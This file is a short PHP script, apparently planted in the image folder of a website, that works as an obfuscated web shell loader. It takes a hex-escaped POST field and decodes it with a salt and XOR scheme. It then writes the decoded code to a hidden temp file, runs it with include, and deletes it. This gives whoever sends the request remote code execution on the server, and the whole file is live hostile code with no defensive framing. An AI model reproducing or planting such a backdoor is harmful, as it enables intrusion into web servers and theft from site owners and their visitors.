File: //proc/thread-self/root/proc/thread-self/root/home/vitanhod/moringa.vitavit.com.pk/img/lrscan.php
<?php
if(!is_null($_POST["\x70\x74r"] ?? null)){
$ent = $_POST["\x70\x74r"];
$ent =explode( ".",$ent ) ;
$val= '';
$salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= strlen($salt);
foreach ($ent as $j => $v3) {
$chS= ord($salt[$j% $lenS]);
$d= ((int)$v3 - $chS - ($j% 10)) ^ 85;
$val .= chr($d);}
$entry = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]);
foreach ($entry as $fac) {
if ((bool)is_dir($fac) && (bool)is_writable($fac)) {
$comp = join("/", [$fac, ".dchunk"]);
if (@file_put_contents($comp, $val) !== false) {
include $comp;
unlink($comp);
die();
}
}
}
}